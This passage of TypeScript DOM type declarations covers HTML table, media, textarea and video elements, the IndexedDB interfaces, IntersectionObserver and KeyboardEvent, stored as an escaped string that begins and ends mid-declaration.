intended media type of the media source.\\n     */\\n    media: string;\\n    msKeySystem: string;\\n    sizes: string;\\n    /**\\n     * The address or URL of the a media resource that is to be considered.\\n     */\\n    src: string;\\n    srcset: string;\\n    /**\\n     * Gets or sets the MIME type of a media resource.\\n     */\\n    type: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLSourceElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLSourceElement: {\\n    prototype: HTMLSourceElement;\\n    new(): HTMLSourceElement;\\n};\\n\\ninterface HTMLSpanElement extends HTMLElement {\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLSpanElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLSpanElement: {\\n    prototype: HTMLSpanElement;\\n    new(): HTMLSpanElement;\\n};\\n\\ninterface HTMLStyleElement extends HTMLElement, LinkStyle {\\n    disabled: boolean;\\n    /**\\n     * Sets or retrieves the media type.\\n     */\\n    media: string;\\n    /**\\n     * Retrieves the CSS language in which the style sheet is written.\\n     */\\n    type: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLStyleElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLStyleElement: {\\n    prototype: HTMLStyleElement;\\n    new(): HTMLStyleElement;\\n};\\n\\ninterface HTMLTableCaptionElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the alignment of the caption or legend.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves whether the caption appears at the top or bottom of the table.\\n     */\\n    vAlign: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableCaptionElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableCaptionElement: {\\n    prototype: HTMLTableCaptionElement;\\n    new(): HTMLTableCaptionElement;\\n};\\n\\ninterface HTMLTableCellElement extends HTMLElement, HTMLTableAlignment {\\n    /**\\n     * Sets or retrieves abbreviated text for the object.\\n     */\\n    abbr: string;\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves a comma-delimited list of conceptual categories associated with the object.\\n     */\\n    axis: string;\\n    bgColor: any;\\n    /**\\n     * Retrieves the position of the object in the cells collection of a row.\\n     */\\n    readonly cellIndex: number;\\n    /**\\n     * Sets or retrieves the number columns in the table that the object should span.\\n     */\\n    colSpan: number;\\n    /**\\n     * Sets or retrieves a list of header cells that provide information for the object.\\n     */\\n    headers: string;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: any;\\n    /**\\n     * Sets or retrieves whether the browser automatically performs wordwrap.\\n     */\\n    noWrap: boolean;\\n    /**\\n     * Sets or retrieves how many rows in a table the cell should span.\\n     */\\n    rowSpan: number;\\n    /**\\n     * Sets or retrieves the group of cells in a table to which the object\\'s information applies.\\n     */\\n    scope: string;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableCellElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableCellElement: {\\n    prototype: HTMLTableCellElement;\\n    new(): HTMLTableCellElement;\\n};\\n\\ninterface HTMLTableColElement extends HTMLElement, HTMLTableAlignment {\\n    /**\\n     * Sets or retrieves the alignment of the object relative to the display or table.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves the number of columns in the group.\\n     */\\n    span: number;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: any;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableColElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableColElement: {\\n    prototype: HTMLTableColElement;\\n    new(): HTMLTableColElement;\\n};\\n\\ninterface HTMLTableDataCellElement extends HTMLTableCellElement {\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableDataCellElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableDataCellElement: {\\n    prototype: HTMLTableDataCellElement;\\n    new(): HTMLTableDataCellElement;\\n};\\n\\ninterface HTMLTableElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves a value that indicates the table alignment.\\n     */\\n    align: string;\\n    bgColor: any;\\n    /**\\n     * Sets or retrieves the width of the border to draw around the object.\\n     */\\n    border: string;\\n    /**\\n     * Sets or retrieves the border color of the object.\\n     */\\n    borderColor: any;\\n    /**\\n     * Retrieves the caption object of a table.\\n     */\\n    caption: HTMLTableCaptionElement;\\n    /**\\n     * Sets or retrieves the amount of space between the border of the cell and the content of the cell.\\n     */\\n    cellPadding: string;\\n    /**\\n     * Sets or retrieves the amount of space between cells in a table.\\n     */\\n    cellSpacing: string;\\n    /**\\n     * Sets or retrieves the number of columns in the table.\\n     */\\n    cols: number;\\n    /**\\n     * Sets or retrieves the way the border frame around the table is displayed.\\n     */\\n    frame: string;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: any;\\n    /**\\n     * Sets or retrieves the number of horizontal rows contained in the object.\\n     */\\n    rows: HTMLCollectionOf<HTMLTableRowElement>;\\n    /**\\n     * Sets or retrieves which dividing lines (inner borders) are displayed.\\n     */\\n    rules: string;\\n    /**\\n     * Sets or retrieves a description and/or structure of the object.\\n     */\\n    summary: string;\\n    /**\\n     * Retrieves a collection of all tBody objects in the table. Objects in this collection are in source order.\\n     */\\n    tBodies: HTMLCollectionOf<HTMLTableSectionElement>;\\n    /**\\n     * Retrieves the tFoot object of the table.\\n     */\\n    tFoot: HTMLTableSectionElement;\\n    /**\\n     * Retrieves the tHead object of the table.\\n     */\\n    tHead: HTMLTableSectionElement;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string;\\n    /**\\n     * Creates an empty caption element in the table.\\n     */\\n    createCaption(): HTMLTableCaptionElement;\\n    /**\\n     * Creates an empty tBody element in the table.\\n     */\\n    createTBody(): HTMLTableSectionElement;\\n    /**\\n     * Creates an empty tFoot element in the table.\\n     */\\n    createTFoot(): HTMLTableSectionElement;\\n    /**\\n     * Returns the tHead element object if successful, or null otherwise.\\n     */\\n    createTHead(): HTMLTableSectionElement;\\n    /**\\n     * Deletes the caption element and its contents from the table.\\n     */\\n    deleteCaption(): void;\\n    /**\\n     * Removes the specified row (tr) from the element and from the rows collection.\\n     * @param index Number that specifies the zero-based position in the rows collection of the row to remove.\\n     */\\n    deleteRow(index?: number): void;\\n    /**\\n     * Deletes the tFoot element and its contents from the table.\\n     */\\n    deleteTFoot(): void;\\n    /**\\n     * Deletes the tHead element and its contents from the table.\\n     */\\n    deleteTHead(): void;\\n    /**\\n     * Creates a new row (tr) in the table, and adds the row to the rows collection.\\n     * @param index Number that specifies where to insert the row in the rows collection. The default value is -1, which appends the new row to the end of the rows collection.\\n     */\\n    insertRow(index?: number): HTMLTableRowElement;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableElement: {\\n    prototype: HTMLTableElement;\\n    new(): HTMLTableElement;\\n};\\n\\ninterface HTMLTableHeaderCellElement extends HTMLTableCellElement {\\n    /**\\n     * Sets or retrieves the group of cells in a table to which the object\\'s information applies.\\n     */\\n    scope: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableHeaderCellElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableHeaderCellElement: {\\n    prototype: HTMLTableHeaderCellElement;\\n    new(): HTMLTableHeaderCellElement;\\n};\\n\\ninterface HTMLTableRowElement extends HTMLElement, HTMLTableAlignment {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    bgColor: any;\\n    /**\\n     * Retrieves a collection of all cells in the table row.\\n     */\\n    cells: HTMLCollectionOf<HTMLTableDataCellElement | HTMLTableHeaderCellElement>;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: any;\\n    /**\\n     * Retrieves the position of the object in the rows collection for the table.\\n     */\\n    readonly rowIndex: number;\\n    /**\\n     * Retrieves the position of the object in the collection.\\n     */\\n    readonly sectionRowIndex: number;\\n    /**\\n     * Removes the specified cell from the table row, as well as from the cells collection.\\n     * @param index Number that specifies the zero-based position of the cell to remove from the table row. If no value is provided, the last cell in the cells collection is deleted.\\n     */\\n    deleteCell(index?: number): void;\\n    /**\\n     * Creates a new cell in the table row, and adds the cell to the cells collection.\\n     * @param index Number that specifies where to insert the cell in the tr. The default value is -1, which appends the new cell to the end of the cells collection.\\n     */\\n    insertCell(index?: number): HTMLTableDataCellElement;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableRowElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableRowElement: {\\n    prototype: HTMLTableRowElement;\\n    new(): HTMLTableRowElement;\\n};\\n\\ninterface HTMLTableSectionElement extends HTMLElement, HTMLTableAlignment {\\n    /**\\n     * Sets or retrieves a value that indicates the table alignment.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves the number of horizontal rows contained in the object.\\n     */\\n    rows: HTMLCollectionOf<HTMLTableRowElement>;\\n    /**\\n     * Removes the specified row (tr) from the element and from the rows collection.\\n     * @param index Number that specifies the zero-based position in the rows collection of the row to remove.\\n     */\\n    deleteRow(index?: number): void;\\n    /**\\n     * Creates a new row (tr) in the table, and adds the row to the rows collection.\\n     * @param index Number that specifies where to insert the row in the rows collection. The default value is -1, which appends the new row to the end of the rows collection.\\n     */\\n    insertRow(index?: number): HTMLTableRowElement;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableSectionElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableSectionElement: {\\n    prototype: HTMLTableSectionElement;\\n    new(): HTMLTableSectionElement;\\n};\\n\\ninterface HTMLTemplateElement extends HTMLElement {\\n    readonly content: DocumentFragment;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTemplateElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTemplateElement: {\\n    prototype: HTMLTemplateElement;\\n    new(): HTMLTemplateElement;\\n};\\n\\ninterface HTMLTextAreaElement extends HTMLElement {\\n    /**\\n     * Provides a way to direct a user to a specific field when a document loads. This can provide both direction and convenience for a user, reducing the need to click or tab to a field when a page opens. This attribute is true when present on an element, and false when missing.\\n     */\\n    autofocus: boolean;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    cols: number;\\n    /**\\n     * Sets or retrieves the initial contents of the object.\\n     */\\n    defaultValue: string;\\n    disabled: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the maximum number of characters that the user can enter in a text control.\\n     */\\n    maxLength: number;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    /**\\n     * Gets or sets a text string that is displayed in an input field as a hint or prompt to users as the format or type of information they need to enter.The text appears in an input field until the user puts focus on the field.\\n     */\\n    placeholder: string;\\n    /**\\n     * Sets or retrieves the value indicated whether the content of the object is read-only.\\n     */\\n    readOnly: boolean;\\n    /**\\n     * When present, marks an element that can\\'t be submitted without a value.\\n     */\\n    required: boolean;\\n    /**\\n     * Sets or retrieves the number of horizontal rows contained in the object.\\n     */\\n    rows: number;\\n    /**\\n     * Gets or sets the end position or offset of a text selection.\\n     */\\n    selectionEnd: number;\\n    /**\\n     * Gets or sets the starting position or offset of a text selection.\\n     */\\n    selectionStart: number;\\n    /**\\n     * Sets or retrieves the value indicating whether the control is selected.\\n     */\\n    status: any;\\n    /**\\n     * Retrieves the type of control.\\n     */\\n    readonly type: string;\\n    /**\\n     * Returns the error message that would be displayed if the user submits the form, or an empty string if no error message. It also triggers the standard error message, such as \"this is a required field\". The result is that the user sees validation messages without actually submitting.\\n     */\\n    readonly validationMessage: string;\\n    /**\\n     * Returns a  ValidityState object that represents the validity states of an element.\\n     */\\n    readonly validity: ValidityState;\\n    /**\\n     * Retrieves or sets the text in the entry field of the textArea element.\\n     */\\n    value: string;\\n    /**\\n     * Returns whether an element will successfully validate based on forms validation rules and constraints.\\n     */\\n    readonly willValidate: boolean;\\n    /**\\n     * Sets or retrieves how to handle wordwrapping in the object.\\n     */\\n    wrap: string;\\n    minLength: number;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Highlights the input area of a form element.\\n     */\\n    select(): void;\\n    /**\\n     * Sets a custom error message that is displayed when a form is submitted.\\n     * @param error Sets a custom error message that is displayed when a form is submitted.\\n     */\\n    setCustomValidity(error: string): void;\\n    /**\\n     * Sets the start and end positions of a selection in a text field.\\n     * @param start The offset into the text field for the start of the selection.\\n     * @param end The offset into the text field for the end of the selection.\\n     */\\n    setSelectionRange(start: number, end: number): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTextAreaElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTextAreaElement: {\\n    prototype: HTMLTextAreaElement;\\n    new(): HTMLTextAreaElement;\\n};\\n\\ninterface HTMLTimeElement extends HTMLElement {\\n    dateTime: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTimeElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTimeElement: {\\n    prototype: HTMLTimeElement;\\n    new(): HTMLTimeElement;\\n};\\n\\ninterface HTMLTitleElement extends HTMLElement {\\n    /**\\n     * Retrieves or sets the text of the object as a string.\\n     */\\n    text: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTitleElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTitleElement: {\\n    prototype: HTMLTitleElement;\\n    new(): HTMLTitleElement;\\n};\\n\\ninterface HTMLTrackElement extends HTMLElement {\\n    default: boolean;\\n    kind: string;\\n    label: string;\\n    readonly readyState: number;\\n    src: string;\\n    srclang: string;\\n    readonly track: TextTrack;\\n    readonly ERROR: number;\\n    readonly LOADED: number;\\n    readonly LOADING: number;\\n    readonly NONE: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTrackElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTrackElement: {\\n    prototype: HTMLTrackElement;\\n    new(): HTMLTrackElement;\\n    readonly ERROR: number;\\n    readonly LOADED: number;\\n    readonly LOADING: number;\\n    readonly NONE: number;\\n};\\n\\ninterface HTMLUListElement extends HTMLElement {\\n    compact: boolean;\\n    type: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLUListElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLUListElement: {\\n    prototype: HTMLUListElement;\\n    new(): HTMLUListElement;\\n};\\n\\ninterface HTMLUnknownElement extends HTMLElement {\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLUnknownElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLUnknownElement: {\\n    prototype: HTMLUnknownElement;\\n    new(): HTMLUnknownElement;\\n};\\n\\ninterface HTMLVideoElementEventMap extends HTMLMediaElementEventMap {\\n    \"MSVideoFormatChanged\": Event;\\n    \"MSVideoFrameStepCompleted\": Event;\\n    \"MSVideoOptimalLayoutChanged\": Event;\\n}\\n\\ninterface HTMLVideoElement extends HTMLMediaElement {\\n    /**\\n     * Gets or sets the height of the video element.\\n     */\\n    height: number;\\n    msHorizontalMirror: boolean;\\n    readonly msIsLayoutOptimalForPlayback: boolean;\\n    readonly msIsStereo3D: boolean;\\n    msStereo3DPackingMode: string;\\n    msStereo3DRenderMode: string;\\n    msZoom: boolean;\\n    onMSVideoFormatChanged: (this: HTMLVideoElement, ev: Event) => any;\\n    onMSVideoFrameStepCompleted: (this: HTMLVideoElement, ev: Event) => any;\\n    onMSVideoOptimalLayoutChanged: (this: HTMLVideoElement, ev: Event) => any;\\n    /**\\n     * Gets or sets a URL of an image to display, for example, like a movie poster. This can be a still frame from the video, or another image if no video data is available.\\n     */\\n    poster: string;\\n    /**\\n     * Gets the intrinsic height of a video in CSS pixels, or zero if the dimensions are not known.\\n     */\\n    readonly videoHeight: number;\\n    /**\\n     * Gets the intrinsic width of a video in CSS pixels, or zero if the dimensions are not known.\\n     */\\n    readonly videoWidth: number;\\n    readonly webkitDisplayingFullscreen: boolean;\\n    readonly webkitSupportsFullscreen: boolean;\\n    /**\\n     * Gets or sets the width of the video element.\\n     */\\n    width: number;\\n    getVideoPlaybackQuality(): VideoPlaybackQuality;\\n    msFrameStep(forward: boolean): void;\\n    msInsertVideoEffect(activatableClassId: string, effectRequired: boolean, config?: any): void;\\n    msSetVideoRectangle(left: number, top: number, right: number, bottom: number): void;\\n    webkitEnterFullscreen(): void;\\n    webkitEnterFullScreen(): void;\\n    webkitExitFullscreen(): void;\\n    webkitExitFullScreen(): void;\\n    addEventListener<K extends keyof HTMLVideoElementEventMap>(type: K, listener: (this: HTMLVideoElement, ev: HTMLVideoElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLVideoElement: {\\n    prototype: HTMLVideoElement;\\n    new(): HTMLVideoElement;\\n};\\n\\ninterface IDBCursor {\\n    readonly direction: IDBCursorDirection;\\n    key: IDBKeyRange | IDBValidKey;\\n    readonly primaryKey: any;\\n    source: IDBObjectStore | IDBIndex;\\n    advance(count: number): void;\\n    continue(key?: IDBKeyRange | IDBValidKey): void;\\n    delete(): IDBRequest;\\n    update(value: any): IDBRequest;\\n    readonly NEXT: string;\\n    readonly NEXT_NO_DUPLICATE: string;\\n    readonly PREV: string;\\n    readonly PREV_NO_DUPLICATE: string;\\n}\\n\\ndeclare var IDBCursor: {\\n    prototype: IDBCursor;\\n    new(): IDBCursor;\\n    readonly NEXT: string;\\n    readonly NEXT_NO_DUPLICATE: string;\\n    readonly PREV: string;\\n    readonly PREV_NO_DUPLICATE: string;\\n};\\n\\ninterface IDBCursorWithValue extends IDBCursor {\\n    readonly value: any;\\n}\\n\\ndeclare var IDBCursorWithValue: {\\n    prototype: IDBCursorWithValue;\\n    new(): IDBCursorWithValue;\\n};\\n\\ninterface IDBDatabaseEventMap {\\n    \"abort\": Event;\\n    \"error\": Event;\\n}\\n\\ninterface IDBDatabase extends EventTarget {\\n    readonly name: string;\\n    readonly objectStoreNames: DOMStringList;\\n    onabort: (this: IDBDatabase, ev: Event) => any;\\n    onerror: (this: IDBDatabase, ev: Event) => any;\\n    version: number;\\n    onversionchange: (ev: IDBVersionChangeEvent) => any;\\n    close(): void;\\n    createObjectStore(name: string, optionalParameters?: IDBObjectStoreParameters): IDBObjectStore;\\n    deleteObjectStore(name: string): void;\\n    transaction(storeNames: string | string[], mode?: IDBTransactionMode): IDBTransaction;\\n    addEventListener(type: \"versionchange\", listener: (ev: IDBVersionChangeEvent) => any, useCapture?: boolean): void;\\n    addEventListener<K extends keyof IDBDatabaseEventMap>(type: K, listener: (this: IDBDatabase, ev: IDBDatabaseEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var IDBDatabase: {\\n    prototype: IDBDatabase;\\n    new(): IDBDatabase;\\n};\\n\\ninterface IDBFactory {\\n    cmp(first: any, second: any): number;\\n    deleteDatabase(name: string): IDBOpenDBRequest;\\n    open(name: string, version?: number): IDBOpenDBRequest;\\n}\\n\\ndeclare var IDBFactory: {\\n    prototype: IDBFactory;\\n    new(): IDBFactory;\\n};\\n\\ninterface IDBIndex {\\n    keyPath: string | string[];\\n    readonly name: string;\\n    readonly objectStore: IDBObjectStore;\\n    readonly unique: boolean;\\n    multiEntry: boolean;\\n    count(key?: IDBKeyRange | IDBValidKey): IDBRequest;\\n    get(key: IDBKeyRange | IDBValidKey): IDBRequest;\\n    getKey(key: IDBKeyRange | IDBValidKey): IDBRequest;\\n    openCursor(range?: IDBKeyRange | IDBValidKey, direction?: IDBCursorDirection): IDBRequest;\\n    openKeyCursor(range?: IDBKeyRange | IDBValidKey, direction?: IDBCursorDirection): IDBRequest;\\n}\\n\\ndeclare var IDBIndex: {\\n    prototype: IDBIndex;\\n    new(): IDBIndex;\\n};\\n\\ninterface IDBKeyRange {\\n    readonly lower: any;\\n    readonly lowerOpen: boolean;\\n    readonly upper: any;\\n    readonly upperOpen: boolean;\\n}\\n\\ndeclare var IDBKeyRange: {\\n    prototype: IDBKeyRange;\\n    new(): IDBKeyRange;\\n    bound(lower: any, upper: any, lowerOpen?: boolean, upperOpen?: boolean): IDBKeyRange;\\n    lowerBound(lower: any, open?: boolean): IDBKeyRange;\\n    only(value: any): IDBKeyRange;\\n    upperBound(upper: any, open?: boolean): IDBKeyRange;\\n};\\n\\ninterface IDBObjectStore {\\n    readonly indexNames: DOMStringList;\\n    keyPath: string | string[];\\n    readonly name: string;\\n    readonly transaction: IDBTransaction;\\n    autoIncrement: boolean;\\n    add(value: any, key?: IDBKeyRange | IDBValidKey): IDBRequest;\\n    clear(): IDBRequest;\\n    count(key?: IDBKeyRange | IDBValidKey): IDBRequest;\\n    createIndex(name: string, keyPath: string | string[], optionalParameters?: IDBIndexParameters): IDBIndex;\\n    delete(key: IDBKeyRange | IDBValidKey): IDBRequest;\\n    deleteIndex(indexName: string): void;\\n    get(key: any): IDBRequest;\\n    index(name: string): IDBIndex;\\n    openCursor(range?: IDBKeyRange | IDBValidKey, direction?: IDBCursorDirection): IDBRequest;\\n    put(value: any, key?: IDBKeyRange | IDBValidKey): IDBRequest;\\n}\\n\\ndeclare var IDBObjectStore: {\\n    prototype: IDBObjectStore;\\n    new(): IDBObjectStore;\\n};\\n\\ninterface IDBOpenDBRequestEventMap extends IDBRequestEventMap {\\n    \"blocked\": Event;\\n    \"upgradeneeded\": IDBVersionChangeEvent;\\n}\\n\\ninterface IDBOpenDBRequest extends IDBRequest {\\n    onblocked: (this: IDBOpenDBRequest, ev: Event) => any;\\n    onupgradeneeded: (this: IDBOpenDBRequest, ev: IDBVersionChangeEvent) => any;\\n    addEventListener<K extends keyof IDBOpenDBRequestEventMap>(type: K, listener: (this: IDBOpenDBRequest, ev: IDBOpenDBRequestEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var IDBOpenDBRequest: {\\n    prototype: IDBOpenDBRequest;\\n    new(): IDBOpenDBRequest;\\n};\\n\\ninterface IDBRequestEventMap {\\n    \"error\": Event;\\n    \"success\": Event;\\n}\\n\\ninterface IDBRequest extends EventTarget {\\n    readonly error: DOMException;\\n    onerror: (this: IDBRequest, ev: Event) => any;\\n    onsuccess: (this: IDBRequest, ev: Event) => any;\\n    readonly readyState: IDBRequestReadyState;\\n    readonly result: any;\\n    source: IDBObjectStore | IDBIndex | IDBCursor;\\n    readonly transaction: IDBTransaction;\\n    addEventListener<K extends keyof IDBRequestEventMap>(type: K, listener: (this: IDBRequest, ev: IDBRequestEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var IDBRequest: {\\n    prototype: IDBRequest;\\n    new(): IDBRequest;\\n};\\n\\ninterface IDBTransactionEventMap {\\n    \"abort\": Event;\\n    \"complete\": Event;\\n    \"error\": Event;\\n}\\n\\ninterface IDBTransaction extends EventTarget {\\n    readonly db: IDBDatabase;\\n    readonly error: DOMException;\\n    readonly mode: IDBTransactionMode;\\n    onabort: (this: IDBTransaction, ev: Event) => any;\\n    oncomplete: (this: IDBTransaction, ev: Event) => any;\\n    onerror: (this: IDBTransaction, ev: Event) => any;\\n    abort(): void;\\n    objectStore(name: string): IDBObjectStore;\\n    readonly READ_ONLY: string;\\n    readonly READ_WRITE: string;\\n    readonly VERSION_CHANGE: string;\\n    addEventListener<K extends keyof IDBTransactionEventMap>(type: K, listener: (this: IDBTransaction, ev: IDBTransactionEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var IDBTransaction: {\\n    prototype: IDBTransaction;\\n    new(): IDBTransaction;\\n    readonly READ_ONLY: string;\\n    readonly READ_WRITE: string;\\n    readonly VERSION_CHANGE: string;\\n};\\n\\ninterface IDBVersionChangeEvent extends Event {\\n    readonly newVersion: number | null;\\n    readonly oldVersion: number;\\n}\\n\\ndeclare var IDBVersionChangeEvent: {\\n    prototype: IDBVersionChangeEvent;\\n    new(): IDBVersionChangeEvent;\\n};\\n\\ninterface IIRFilterNode extends AudioNode {\\n    getFrequencyResponse(frequencyHz: Float32Array, magResponse: Float32Array, phaseResponse: Float32Array): void;\\n}\\n\\ndeclare var IIRFilterNode: {\\n    prototype: IIRFilterNode;\\n    new(): IIRFilterNode;\\n};\\n\\ninterface ImageData {\\n    data: Uint8ClampedArray;\\n    readonly height: number;\\n    readonly width: number;\\n}\\n\\ndeclare var ImageData: {\\n    prototype: ImageData;\\n    new(width: number, height: number): ImageData;\\n    new(array: Uint8ClampedArray, width: number, height: number): ImageData;\\n};\\n\\ninterface IntersectionObserver {\\n    readonly root: Element | null;\\n    readonly rootMargin: string;\\n    readonly thresholds: number[];\\n    disconnect(): void;\\n    observe(target: Element): void;\\n    takeRecords(): IntersectionObserverEntry[];\\n    unobserve(target: Element): void;\\n}\\n\\ndeclare var IntersectionObserver: {\\n    prototype: IntersectionObserver;\\n    new(callback: IntersectionObserverCallback, options?: IntersectionObserverInit): IntersectionObserver;\\n};\\n\\ninterface IntersectionObserverEntry {\\n    readonly boundingClientRect: ClientRect;\\n    readonly intersectionRatio: number;\\n    readonly intersectionRect: ClientRect;\\n    readonly rootBounds: ClientRect;\\n    readonly target: Element;\\n    readonly time: number;\\n}\\n\\ndeclare var IntersectionObserverEntry: {\\n    prototype: IntersectionObserverEntry;\\n    new(intersectionObserverEntryInit: IntersectionObserverEntryInit): IntersectionObserverEntry;\\n};\\n\\ninterface KeyboardEvent extends UIEvent {\\n    readonly altKey: boolean;\\n    readonly char: string | null;\\n    readonly charCode: number;\\n    readonly ctrlKey: boolean;\\n    readonly key: string;\\n    readonly keyCode: number;\\n    readonly locale: string;\\n    readonly location: number;\\n    readonly metaKey: boolean;\\n    readonly repeat: boolean;\\n    readonly shiftKey: boolean;\\n    readonly which: number;\\n    readonly code: string;\\n    getModifierState(keyArg: string): boolean;\\n    initKeyboardEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, keyArg: string, locationArg: number, modifiersListArg: string, repeat: boolean, locale: string): void;\\n    readonly DOM_KEY_LOCATION_JOYSTICK: number;\\n    readonly DOM_KEY_LOCATION_LEFT: number;\\n    readonly DOM_KEY_LOCATION_MOBILE: number;\\n    readonly DOM_KEY_LOCATION_NUMPAD: number;\\n    readonly DOM_KEY_LOCATION_RIGHT: number;\\n    readonly DOM_KEY_LOCATION_STANDARD: number;\\n}\\n\\ndeclare var KeyboardEvent: {\\n    prototype: KeyboardEvent;\\n    new(typeArg: string, eventInitDict?: KeyboardEventInit): KeyboardEvent;\\n    readonly 